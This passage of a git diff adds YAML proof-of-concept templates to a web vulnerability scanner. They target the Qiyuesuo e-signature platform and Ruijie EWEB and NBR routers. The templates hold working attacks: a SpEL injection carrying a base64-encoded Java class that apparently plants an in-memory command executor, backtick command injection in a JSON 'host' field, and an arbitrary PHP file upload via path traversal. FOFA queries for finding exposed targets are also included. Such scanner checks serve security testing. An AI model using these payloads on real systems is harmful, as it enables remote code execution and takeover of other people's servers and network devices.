VNPZ2tETmdvRE5nc1ZDeGtKdnFJQ1hCa0pGUXN5T2d3WkRNWUNTaGtNdGdBVEVoUzJBQldaQWowWkNCa010Z0FST2cwWkRjWUNMeGtOdGdBV3RnQVhFaGkyQUJXWkFoOFpEYllBRnJZQUdiWUFHaElidGdBY21RSU1HUTIyQUJZU0hiWUFEVG9PR1E0RXRnQU9HUTRaRGJZQUVUb1BHUSsyQUJZU0hnTzlBQisyQUNBWkR3TzlBQ0cyQUNJNkVBRTZFUmtRdGdBV0VpTUR2UUFmdGdBZ0dSQUR2UUFodGdBaU9oR25BQ0E2RWhrUXRnQVdFaVcyQUEwNkV4a1RCTFlBRGhrVEdSQzJBQkU2RVJrR0VpYTJBQTA2RWhrU0JMWUFEaGtTR1JHMkFCSEFBQ2M2RXhrVHRnQW93QUFuT2hRRE5oVVZGUmtVdGdBcG9nRmlHUlFWRmJZQUtqb1dHUmJHQVU0WkJSSXJBNzBBSDdZQUlCa1dBNzBBSWJZQUlzQUFMRG9YR1JmR0FUQVpGN2dBQTdZQUU3WUFISmtCSWhrRkVpMjJBQTA2R0JrWUJMWUFEaGtZR1JhMkFCRTZHUmtadGdBV0VpNEV2UUFmV1FPeUFDOVR0Z0FnR1JrRXZRQWhXUU1FdUFBd1U3WUFJam9hR1JxMkFCWVNNUU85QUIvQUFESzJBQ0FaR2dPOUFDRzJBQ0k2R3hrWnRnQVdFak1FdlFBZldRTVRBQ3hUdGdBZ0dSa0V2UUFoV1FNU05GTzJBQ0xBQUN3NkhCSTF1QUEydGdBM0VqaTJBQldaQUJrR3ZRQXNXUU1TT1ZOWkJCSTZVMWtGR1J4VHB3QVdCcjBBTEZrREVqdFRXUVFTUEZOWkJSa2NVem9kdXdBOVdiZ0FQaGtkdGdBL3RnQkF0d0JCRWtLMkFFTzJBRVE2SHJzQVJWbTNBRVlaSGhKSHRnQkl0Z0JKT2g4Wkc3WUFGaEpLQmIwQUgxa0RFd0FzVTFrRUV3QXNVN1lBSUJrYkJiMEFJVmtERWpSVFdRUVpIbE8yQUNKWEJEWUtwd0FKaEJVQnAvNmFGUXFaQUFhbkFBbUVDd0duL2FJU1MwdW5BQXRNSzdZQVRSSk9TeXF3QUFNQUR3QVdBQmtBQ0FFQkFSb0JIUUFrQUFNQzNBTGZBRXdBQXdCVEFBQUJBZ0JBQUFBQUN3QURBQTRBQndBUEFBOEFFZ0FXQUJVQUdRQVRBQm9BRkFBZkFCY0FKZ0FZQUM0QUdRQTJBQm9BUGdBYkFFY0FIQUJOQUIwQVZRQWVBRnNBSHdCeUFDQUFkUUFpQUlBQUl3Q0hBQ1FBbVFBbEFLSUFKZ0RLQUNjQTFnQW9BTndBS1FEbEFDb0EvZ0FyQVFFQUxnRWFBRE1CSFFBdkFSOEFNQUVyQURFQk1RQXlBVG9BTlFGREFEWUJTUUEzQVZVQU9BRmZBRG9CYkFBN0FYVUFQQUY2QUQwQmt3QStBYVlBUHdHdkFFQUJ0UUJCQWI0QVFnSGtBRU1DQUFCRkFpY0FTQUppQUVrQ2ZnQktBcEVBU3dLL0FFd0N3Z0JOQXNVQU9nTExBRklDMEFCVEF0TUFJZ0xaQUcwQzNBQnhBdDhBYmdMZ0FHOEM1QUJ3QXVjQWN3QlVBQUFCYWdBa0FCb0FCUUJaQUZvQUF3RXJBQThBV3dCY0FCTUJId0FiQUYwQVhnQVNBYThCRmdCZkFGd0FHQUcrQVFjQVlBQmhBQmtCNUFEaEFHSUFZUUFhQWdBQXhRQmpBR0VBR3dJbkFKNEFaQUJsQUJ3Q1lnQmpBR1lBWndBZEFuNEFSd0JvQUdVQUhnS1JBRFFBYVFCbEFCOEJrd0V5QUdvQVpRQVhBWFVCVUFCckFHRUFGZ0ZpQVdrQVdRQnNBQlVBMWdIOUFHMEFYQUFPQU9VQjdnQnVBR0VBRHdEK0FkVUFid0JoQUJBQkFRSFNBSEFBWVFBUkFVTUJrQUJ4QUZ3QUVnRlZBWDRBY2dCekFCTUJYd0YwQUYwQWN3QVVBS0lDTVFCMEFHRUFEUUNIQWt3QWRRQjJBQXdBZUFKaEFIY0FiQUFMQUFjQzFRQjRBSFlBQVFBUEFzMEFlUUI2QUFJQUpnSzJBSHNBZkFBREFDNENyZ0I5QUh3QUJBQTJBcVlBZmdCOEFBVUFQZ0tlQUg4QWZBQUdBRWNDbFFDQUFGd0FCd0JWQW9jQWdRQmNBQWdBY2dKcUFJSUFnd0FKQUhVQ1p3Q0VBSVVBQ2dMZ0FBY0Fld0NHQUFFQUF3TG1BSWNBWlFBQUFJZ0FBQUdYQUE3L0FCa0FBd2NBaVFjQWlnY0Fpd0FCQndDTUJmOEFXQUFNQndDSkJ3Q0tCd0NMQndDTkJ3Q05Cd0NOQndDTkJ3Q09Cd0NPQndBU0FRRUFBUDhBcEFBU0J3Q0pCd0NLQndDTEJ3Q05Cd0NOQndDTkJ3Q05Cd0NPQndDT0J3QVNBUUVIQUlvSEFJOEhBSTRIQUk4SEFJOEhBSThBQVFjQWtCei9BQ2NBRmdjQWlRY0FpZ2NBaXdjQWpRY0FqUWNBalFjQWpRY0FqZ2NBamdjQUVnRUJCd0NLQndDUEJ3Q09Cd0NQQndDUEJ3Q1BCd0NPQndDUkJ3Q1JBUUFBL3dEcUFCMEhBSWtIQUlvSEFJc0hBSTBIQUkwSEFJMEhBSTBIQUk0SEFJNEhBQklCQVFjQWlnY0Fqd2NBamdjQWp3Y0Fqd2NBandjQWpnY0FrUWNBa1FFSEFJOEhBSWtIQUk0SEFJOEhBSThIQUk4SEFJa0FBRklIQUpML0FHUUFGZ2NBaVFjQWlnY0Fpd2NBalFjQWpRY0FqUWNBalFjQWpnY0FqZ2NBRWdFQkJ3Q0tCd0NQQndDT0J3Q1BCd0NQQndDUEJ3Q09Cd0NSQndDUkFRQUErZ0FGL3dBSEFBd0hBSWtIQUlvSEFJc0hBSTBIQUkwSEFJMEhBSTBIQUk0SEFJNEhBQklCQVFBQStnQUYvd0FGQUFFSEFJa0FBUWNBa3djQUFRQ1VBQUFBQWdDViIpLG5ldyBqYXZheC5tYW5hZ2VtZW50LmxvYWRpbmcuTUxldChuZXcgamF2YS5uZXQuVVJMWzBdLFQgKGphdmEubGFuZy5UaHJlYWQpLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSkpLmRvSW5qZWN0KCk=';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a['parseExpression'](deStr);c.getValue();\"}","name":"test"}]} + expression: response.status == 200 && response.headers['x-state'] != "" && response.body.bcontains(b'"message":') && response.body.bcontains(b'"code":') +expression: r0() diff --git a/webscan/pocs/qiyuesuo-template-param-edits-rce.yaml b/webscan/pocs/qiyuesuo-template-param-edits-rce.yaml new file mode 100644 index 0000000..9d9f547 --- /dev/null +++ b/webscan/pocs/qiyuesuo-template-param-edits-rce.yaml @@ -0,0 +1,28 @@ +id: qiyuesuo-template-param-edits-rce + +info: + name: 契约锁电子签章平台edits远程代码执行漏洞 + author: avic123 + severity: critical + verified: true + description: | + 契约锁电子签章平台edits远程代码执行漏洞 + fofa: app="契约锁-电子签署平台" + reference: + - https://1oecho.github.io/oYmYrVh51/ + - https://mp.weixin.qq.com/s/tgliOzcVjoy70yMYZG7MOg + tags: qiyuesuo,rce + created: 2025/6/13 + +rules: + r0: + request: + method: POST + path: /contract/ukeysign/.%2e/.%2e/template/param/edits + headers: + Content-Type: application/json + X-State: whoami + body: | + {"id":"2","params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VCAob3JnLnNwcmluZ2ZyYW1ld29yay5jZ2xpYi5jb3JlLlJlZmxlY3RVdGlscykuZGVmaW5lQ2xhc3MoIlF5c1Rlc3QiLFQgKG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5CYXNlNjRVdGlscykuIGRlY29kZUZyb21TdHJpbmcoInl2NjZ2Z0FBQURJQktBb0FJUUNXQ0FDWENnQ1lBSmtLQUpnQW1nb0Ftd0NjQ0FDZENnQ2JBSjRIQUo4SUFLQUlBS0VJQUtJSUFLTUtBQjhBcEFvQXBRQ21DQUNuQ2dDWUFLZ0tBS1VBcVFjQWd3b0FtQUNxQ0FDckNnQXNBS3dLQUNFQXJRb0FId0NxQ0FDdUNnQWZBSzhLQUxBQXFnZ0FzUW9BTEFDeUNBQ3pDQUMwQndDMUNnQWZBTFlIQUxjS0FMZ0F1UWdBdWdjQXV3Z0F2QWdBdlFjQXZnb0FKd0MvQ2dBbkFNQUtBQ2NBd1FnQXdnY0F3d2dBeEFnQXhRa0F4Z0RIQ2dER0FNZ0lBTWtIQU1vSUFNc0lBTXdJQU0wS0FNNEF6d29BTEFEUUNBRFJDQURTQ0FEVENBRFVDQURWQndEV0NnRFhBTmdLQU5jQTJRb0EyZ0RiQ2dBOUFOd0lBTjBLQUQwQTNnb0FQUURmQndEZ0NnQkZBSllJQU9FS0FDd0E0Z29BUlFEakNBRGtDQURsQndEbUNnQk1BT2NJQU9nSEFPa0JBQVk4YVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUFRHbHVaVTUxYldKbGNsUmhZbXhsQVFBU1RHOWpZV3hXWVhKcFlXSnNaVlJoWW14bEFRQUVkR2hwY3dFQUNVeFJlWE5VWlhOME93RUFDR1J2U1c1cVpXTjBBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBVjJZWEl5T0FFQUlreHFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmpzQkFBVjJZWEl5TmdFQUdVeHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFBVjJZWEl5TndFQUlVeHFZWFpoTDJ4aGJtY3ZUbTlUZFdOb1RXVjBhRzlrUlhoalpYQjBhVzl1T3dFQUJYWmhjak14QVFBRmRtRnlNeklCQUJKTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBVjJZWEl6TXdFQUJYSmxjRzl1QVFBRGMzUnlBUUFTVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3QVFBRVkyMWtjd0VBRTF0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBbHlaWE4xYkhSVGRISUJBQVpsYm1OdlpHVUJBQVYyWVhJek1BRUFCWFpoY2pJNUFRQUJTUUVBQlhaaGNqSXhBUUFGZG1GeU1qSUJBQVYyWVhJeU13RUFCWFpoY2pJMEFRQUZkbUZ5TWpVQkFBVjJZWEkzT0FFQUZVeHFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBPd0VBQlhaaGNqSXdBUUFGZG1GeU1Ua0JBQkpNYW1GMllTOXNZVzVuTDFSb2NtVmhaRHNCQUFWMllYSXhPQUVBQkhaaGNqZ0JBQVIyWVhJNUFRQVhUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzQkFBVjJZWEl4TUFFQUVVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZkbUZ5TVRFQkFBVjJZWEl4TWdFQUJYWmhjakV6QVFBRmRtRnlNVFFCQUFWMllYSXhOUUVBQlhaaGNqRTJBUUFUVzB4cVlYWmhMMnhoYm1jdlZHaHlaV0ZrT3dFQUJYWmhjakUzQVFBQldnRUFGVXhxWVhaaEwyeGhibWN2UlhoalpYQjBhVzl1T3dFQUEyMXpad0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUhBTU1IQU9vSEFPc0hBSjhIQUxVSEFPd0hBTGNIQUxzSEFMNEhBR2NIQU9ZQkFBcFRiM1Z5WTJWR2FXeGxBUUFNVVhselZHVnpkQzVxWVhaaERBQlFBRkVCQUFWemRHRnlkQWNBNmd3QTdRRHVEQUR2QVBBSEFPc01BUEVBOEFFQUhXOXlaeTVoY0dGamFHVXVZMjk1YjNSbExsSmxjWFZsYzNSSmJtWnZEQUR5QVBNQkFDQnFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmdFQUVHcGhkbUV1YkdGdVp5NVVhSEpsWVdRQkFCVnFZWFpoTG14aGJtY3VWR2h5WldGa1IzSnZkWEFCQUNKdmNtY3VZWEJoWTJobExtTnZlVzkwWlM1U1pYRjFaWE4wUjNKdmRYQkpibVp2QVFBSGRHaHlaV0ZrY3d3QTlBRDFCd0RzREFEMkFQY0JBQVowWVhKblpYUU1BUGdBK1F3QStnRDdEQUQ4QUZnQkFBUm9kSFJ3REFEOUFQNE1BUDhCQUFFQUNVVnVaSEJ2YVc1MEpBd0JBUUVDQndFREFRQWFiM0puTG1Gd1lXTm9aUzUwYjIxallYUXVkWFJwYkM1dVpYUU1BUVFCQlFFQUJuUm9hWE1rTUFFQUNtZGxkRWhoYm1Sc1pYSUJBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTU1BUVlCQndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRSEFRZ01BUWtCQ2dFQUNXZGxkRWRzYjJKaGJBRUFIMnBoZG1FdmJHRnVaeTlPYjFOMVkyaE5aWFJvYjJSRmVHTmxjSFJwYjI0QkFBWm5iRzlpWVd3QkFBcHdjbTlqWlhOemIzSnpBUUFUYW1GMllTOTFkR2xzTDBGeWNtRjVUR2x6ZEF3QkN3RU1EQUVOQVE0TUFQb0JEd0VBRTJkbGRGZHZjbXRsY2xSb2NtVmhaRTVoYldVQkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQURjbVZ4QVFBSFoyVjBUbTkwWlFjQkVBd0JFUUI4REFFU0FSTUJBQXRuWlhSU1pYTndiMjV6WlFFQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek93RUFDV2RsZEVobFlXUmxjZ0VBQjFndFUzUmhkR1VCQUFkdmN5NXVZVzFsQndFVURBRVZBUllNQVJjQVdBRUFCbmRwYm1SdmR3RUFCMk50WkM1bGVHVUJBQUl2WXdFQUJ5OWlhVzR2YzJnQkFBSXRZd0VBRVdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5QndFWURBRVpBUm9NQVJzQkhBY0JIUXdCSGdFZkRBQlFBU0FCQUFKY1FRd0JJUUVpREFFakFGZ0JBQlp6ZFc0dmJXbHpZeTlDUVZORk5qUkZibU52WkdWeUFRQUZWVlJHTFRnTUFTUUJKUXdBYVFFbUFRQUpZV1JrU0dWaFpHVnlBUUFIYzNWalkyVnpjd0VBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0TUFTY0FVUUVBQldWeWNtOXlBUUFIVVhselZHVnpkQUVBRUdwaGRtRXZiR0Z1Wnk5VWFISmxZV1FCQUJWcVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSUJBQmRxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlHYVdWc1pBRUFEV04xY25KbGJuUlVhSEpsWVdRQkFCUW9LVXhxWVhaaEwyeGhibWN2VkdoeVpXRmtPd0VBRldkbGRFTnZiblJsZUhSRGJHRnpjMHh2WVdSbGNnRUFHU2dwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQWxuWlhSUVlYSmxiblFCQUFsc2IyRmtRMnhoYzNNQkFDVW9UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3dFQURYTmxkRUZqWTJWemMybGliR1VCQUFRb1dpbFdBUUFPWjJWMFZHaHlaV0ZrUjNKdmRYQUJBQmtvS1V4cVlYWmhMMnhoYm1jdlZHaHlaV0ZrUjNKdmRYQTdBUUFEWjJWMEFRQW1LRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFkblpYUk9ZVzFsQVFBSVkyOXVkR0ZwYm5NQkFCc29UR3BoZG1FdmJHRnVaeTlEYUdGeVUyVnhkV1Z1WTJVN0tWb0JBQWhuWlhSRGJHRnpjd0VBRXlncFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQkFBcG5aWFJRWVdOcllXZGxBUUFWS0NsTWFtRjJZUzlzWVc1bkwxQmhZMnRoWjJVN0FRQVJhbUYyWVM5c1lXNW5MMUJoWTJ0aFoyVUJBQVpsY1hWaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1ZvQkFBbG5aWFJOWlhSb2IyUUJBRUFvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMMnhoYm1jdlEyeGhjM003S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBWWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrQVFBR2FXNTJiMnRsQVFBNUtFeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME8xdE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFGWTJ4dmJtVUJBQlFvS1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUJITnBlbVVCQUFNb0tVa0JBQlVvU1NsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFCRnFZWFpoTDJ4aGJtY3ZTVzUwWldkbGNnRUFCRlJaVUVVQkFBZDJZV3gxWlU5bUFRQVdLRWtwVEdwaGRtRXZiR0Z1Wnk5SmJuUmxaMlZ5T3dFQUVHcGhkbUV2YkdGdVp5OVRlWE4wWlcwQkFBdG5aWFJRY205d1pYSjBlUUVBSmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUxkRzlNYjNkbGNrTmhjMlVCQUJGcVlYWmhMMnhoYm1jdlVuVnVkR2x0WlFFQUNtZGxkRkoxYm5ScGJXVUJBQlVvS1V4cVlYWmhMMnhoYm1jdlVuVnVkR2x0WlRzQkFBUmxlR1ZqQVFBb0tGdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlRY205alpYTnpPd0VBRVdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56QVFBT1oyVjBTVzV3ZFhSVGRISmxZVzBCQUJjb0tVeHFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBR0NoTWFtRjJZUzlwYnk5SmJuQjFkRk4wY21WaGJUc3BWZ0VBREhWelpVUmxiR2x0YVhSbGNnRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUJHNWxlSFFCQUFoblpYUkNlWFJsY3dFQUZpaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BXMElCQUJZb1cwSXBUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFQY0hKcGJuUlRkR0ZqYTFSeVlXTmxBQ0VBVHdBaEFBQUFBQUFDQUFFQVVBQlJBQUVBVWdBQUFDOEFBUUFCQUFBQUJTcTNBQUd4QUFBQUFnQlRBQUFBQmdBQkFBQUFDUUJVQUFBQURBQUJBQUFBQlFCVkFGWUFBQUFKQUZjQVdBQUJBRklBQUFjaUFBWUFJQUFBQXVrU0FrdTRBQU5NSzdZQUJMWUFCVTBzRWdhMkFBZFhwd0FKVGl1MkFBUk5MQklKdGdBSFRpd1NDcllBQnpvRUxCSUd0Z0FIT2dVc0VndTJBQWM2QmhrRUVneTJBQTA2QnhrSEJMWUFEaTBTRDdZQURUb0lHUWdFdGdBT0dRY3J0Z0FRdGdBUndBQVN3QUFTd0FBU3dBQVNPZ2tETmdvRE5nc1ZDeGtKdnFJQ1hCa0pGUXN5T2d3WkRNWUNTaGtNdGdBVEVoUzJBQldaQWowWkNCa010Z0FST2cwWkRjWUNMeGtOdGdBV3RnQVhFaGkyQUJXWkFoOFpEYllBRnJZQUdiWUFHaElidGdBY21RSU1HUTIyQUJZU0hiWUFEVG9PR1E0RXRnQU9HUTRaRGJZQUVUb1BHUSsyQUJZU0hnTzlBQisyQUNBWkR3TzlBQ0cyQUNJNkVBRTZFUmtRdGdBV0VpTUR2UUFmdGdBZ0dSQUR2UUFodGdBaU9oR25BQ0E2RWhrUXRnQVdFaVcyQUEwNkV4a1RCTFlBRGhrVEdSQzJBQkU2RVJrR0VpYTJBQTA2RWhrU0JMWUFEaGtTR1JHMkFCSEFBQ2M2RXhrVHRnQW93QUFuT2hRRE5oVVZGUmtVdGdBcG9nRmlHUlFWRmJZQUtqb1dHUmJHQVU0WkJSSXJBNzBBSDdZQUlCa1dBNzBBSWJZQUlzQUFMRG9YR1JmR0FUQVpGN2dBQTdZQUU3WUFISmtCSWhrRkVpMjJBQTA2R0JrWUJMWUFEaGtZR1JhMkFCRTZHUmtadGdBV0VpNEV2UUFmV1FPeUFDOVR0Z0FnR1JrRXZRQWhXUU1FdUFBd1U3WUFJam9hR1JxMkFCWVNNUU85QUIvQUFESzJBQ0FaR2dPOUFDRzJBQ0k2R3hrWnRnQVdFak1FdlFBZldRTVRBQ3hUdGdBZ0dSa0V2UUFoV1FNU05GTzJBQ0xBQUN3NkhCSTF1QUEydGdBM0VqaTJBQldaQUJrR3ZRQXNXUU1TT1ZOWkJCSTZVMWtGR1J4VHB3QVdCcjBBTEZrREVqdFRXUVFTUEZOWkJSa2NVem9kdXdBOVdiZ0FQaGtkdGdBL3RnQkF0d0JCRWtLMkFFTzJBRVE2SHJzQVJWbTNBRVlaSGhKSHRnQkl0Z0JKT2g4Wkc3WUFGaEpLQmIwQUgxa0RFd0FzVTFrRUV3QXNVN1lBSUJrYkJiMEFJVmtERWpSVFdRUVpIbE8yQUNKWEJEWUtwd0FKaEJVQnAvNmFGUXFaQUFhbkFBbUVDd0duL2FJU1MwdW5BQXRNSzdZQVRSSk9TeXF3QUFNQUR3QVdBQmtBQ0FFQkFSb0JIUUFrQUFNQzNBTGZBRXdBQXdCVEFBQUJBZ0JBQUFBQUN3QURBQTRBQndBUEFBOEFFZ0FXQUJVQUdRQVRBQm9BRkFBZkFCY0FKZ0FZQUM0QUdRQTJBQm9BUGdBYkFFY0FIQUJOQUIwQVZRQWVBRnNBSHdCeUFDQUFkUUFpQUlBQUl3Q0hBQ1FBbVFBbEFLSUFKZ0RLQUNjQTFnQW9BTndBS1FEbEFDb0EvZ0FyQVFFQUxnRWFBRE1CSFFBdkFSOEFNQUVyQURFQk1RQXlBVG9BTlFGREFEWUJTUUEzQVZVQU9BRmZBRG9CYkFBN0FYVUFQQUY2QUQwQmt3QStBYVlBUHdHdkFFQUJ0UUJCQWI0QVFnSGtBRU1DQUFCRkFpY0FTQUppQUVrQ2ZnQktBcEVBU3dLL0FFd0N3Z0JOQXNVQU9nTExBRklDMEFCVEF0TUFJZ0xaQUcwQzNBQnhBdDhBYmdMZ0FHOEM1QUJ3QXVjQWN3QlVBQUFCYWdBa0FCb0FCUUJaQUZvQUF3RXJBQThBV3dCY0FCTUJId0FiQUYwQVhnQVNBYThCRmdCZkFGd0FHQUcrQVFjQVlBQmhBQmtCNUFEaEFHSUFZUUFhQWdBQXhRQmpBR0VBR3dJbkFKNEFaQUJsQUJ3Q1lnQmpBR1lBWndBZEFuNEFSd0JvQUdVQUhnS1JBRFFBYVFCbEFCOEJrd0V5QUdvQVpRQVhBWFVCVUFCckFHRUFGZ0ZpQVdrQVdRQnNBQlVBMWdIOUFHMEFYQUFPQU9VQjdnQnVBR0VBRHdEK0FkVUFid0JoQUJBQkFRSFNBSEFBWVFBUkFVTUJrQUJ4QUZ3QUVnRlZBWDRBY2dCekFCTUJYd0YwQUYwQWN3QVVBS0lDTVFCMEFHRUFEUUNIQWt3QWRRQjJBQXdBZUFKaEFIY0FiQUFMQUFjQzFRQjRBSFlBQVFBUEFzMEFlUUI2QUFJQUpnSzJBSHNBZkFBREFDNENyZ0I5QUh3QUJBQTJBcVlBZmdCOEFBVUFQZ0tlQUg4QWZBQUdBRWNDbFFDQUFGd0FCd0JWQW9jQWdRQmNBQWdBY2dKcUFJSUFnd0FKQUhVQ1p3Q0VBSVVBQ2dMZ0FBY0Fld0NHQUFFQUF3TG1BSWNBWlFBQUFJZ0FBQUdYQUE3L0FCa0FBd2NBaVFjQWlnY0Fpd0FCQndDTUJmOEFXQUFNQndDSkJ3Q0tCd0NMQndDTkJ3Q05Cd0NOQndDTkJ3Q09Cd0NPQndBU0FRRUFBUDhBcEFBU0J3Q0pCd0NLQndDTEJ3Q05Cd0NOQndDTkJ3Q05Cd0NPQndDT0J3QVNBUUVIQUlvSEFJOEhBSTRIQUk4SEFJOEhBSThBQVFjQWtCei9BQ2NBRmdjQWlRY0FpZ2NBaXdjQWpRY0FqUWNBalFjQWpRY0FqZ2NBamdjQUVnRUJCd0NLQndDUEJ3Q09Cd0NQQndDUEJ3Q1BCd0NPQndDUkJ3Q1JBUUFBL3dEcUFCMEhBSWtIQUlvSEFJc0hBSTBIQUkwSEFJMEhBSTBIQUk0SEFJNEhBQklCQVFjQWlnY0Fqd2NBamdjQWp3Y0Fqd2NBandjQWpnY0FrUWNBa1FFSEFJOEhBSWtIQUk0SEFJOEhBSThIQUk4SEFJa0FBRklIQUpML0FHUUFGZ2NBaVFjQWlnY0Fpd2NBalFjQWpRY0FqUWNBalFjQWpnY0FqZ2NBRWdFQkJ3Q0tCd0NQQndDT0J3Q1BCd0NQQndDUEJ3Q09Cd0NSQndDUkFRQUErZ0FGL3dBSEFBd0hBSWtIQUlvSEFJc0hBSTBIQUkwSEFJMEhBSTBIQUk0SEFJNEhBQklCQVFBQStnQUYvd0FGQUFFSEFJa0FBUWNBa3djQUFRQ1VBQUFBQWdDViIpLG5ldyBqYXZheC5tYW5hZ2VtZW50LmxvYWRpbmcuTUxldChuZXcgamF2YS5uZXQuVVJMWzBdLFQgKGphdmEubGFuZy5UaHJlYWQpLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSkpLmRvSW5qZWN0KCk=';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]} + expression: response.status == 200 && response.headers['x-state'] != "" && response.body.bcontains(b'"message":') && response.body.bcontains(b'"code":') +expression: r0() diff --git a/webscan/pocs/ruijie-eweb-route-auth-rce.yaml b/webscan/pocs/ruijie-eweb-route-auth-rce.yaml new file mode 100644 index 0000000..b06e7d3 --- /dev/null +++ b/webscan/pocs/ruijie-eweb-route-auth-rce.yaml @@ -0,0 +1,33 @@ +id: ruijie-eweb-route-auth-rce + +info: + name: 锐捷 EWEB auth 远程代码执行漏洞 + author: zan8in + severity: critical + verified: true + description: |- + 锐捷 EWEB 系列设备存在远程代码执行漏洞，攻击者可通过该漏洞在目标服务器上执行任意命令。 + fofa: body="cgi-bin/luci" && body="#f47f3e" + tags: ruijie,rce + created: 2025/02/14 + +set: + content: randomLowercase(10) + filename: randomLowercase(10) + md5content: md5(content) +rules: + r0: + request: + method: POST + path: /cgi-bin/luci/api/auth + headers: + Content-Type: application/json + body: | + {"method":"checkNet","params":{"host":"`echo {{md5content}}>{{filename}}.txt`"}} + expression: response.status == 200 + r1: + request: + method: GET + path: /cgi-bin/{{filename}}.txt + expression: response.status == 200 && response.body.bcontains(bytes(md5content)) +expression: r0() && r1() diff --git a/webscan/pocs/ruijie-excu-shell-disclosure.yaml b/webscan/pocs/ruijie-excu-shell-disclosure.yaml index ba65074..1144950 100644 --- a/webscan/pocs/ruijie-excu-shell-disclosure.yaml +++ b/webscan/pocs/ruijie-excu-shell-disclosure.yaml @@ -18,4 +18,4 @@ rules: Command1: show running-config Confirm1: n expression: response.status == 200 && response.body.bcontains(b"Building configuration") && response.body.bcontains(b"Current configuration") -expression: r0()+ +expression: r0() diff --git a/webscan/pocs/ruijie-nbr-fileupload.yaml b/webscan/pocs/ruijie-nbr-fileupload.yaml new file mode 100644 index 0000000..ed892ae --- /dev/null +++ b/webscan/pocs/ruijie-nbr-fileupload.yaml @@ -0,0 +1,38 @@ +id: ruijie-nbr-fileupload + +info: + name: 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞 + author: peiqi + severity: high + verified: true + description: | + 锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器获取服务器权限 + FOFA: app="Ruijie-NBR路由器" + reference: + - https://peiqi.wgpsec.org/wiki/iot/锐捷/锐捷%20NBR%20路由器%20fileupload.php%20任意文件上传漏洞.html + tags: ruijie,fileupload + created: 2023/08/10 + +set: + r1: randomLowercase(6) + r2: md5(r1) +rules: + r0: + request: + method: POST + path: /ddi/server/fileupload.php?uploadDir=../../321&name={{r1}}.php + headers: + Accept: text/plain, */*; q=0.01 + Content-Disposition: form-data; name="file"; filename="111.php" + Content-Type: image/jpeg + body: | + + expression: | + response.status == 200 && + response.body.bcontains(b'"jsonrpc"') + r1: + request: + method: GET + path: /321/{{r1}}.php + expression: response.status == 200 && response.body.bcontains(bytes(r2)) +expression: r0() && r1() diff --git a/webscan/pocs/ruijie-rg-eg-web-mis-rce.yaml b/webscan/pocs/ruijie-rg-eg-web-mis-rce.yaml new file mode 100644 index 0000000..85c5e9d --- /dev/null +++ b/webscan/pocs/ruijie-rg-eg-web-mis-rce.yaml @@ -0,0 +1,24 @@ +id: ruijie-rg-eg-web-mis-rce + +info: + name: 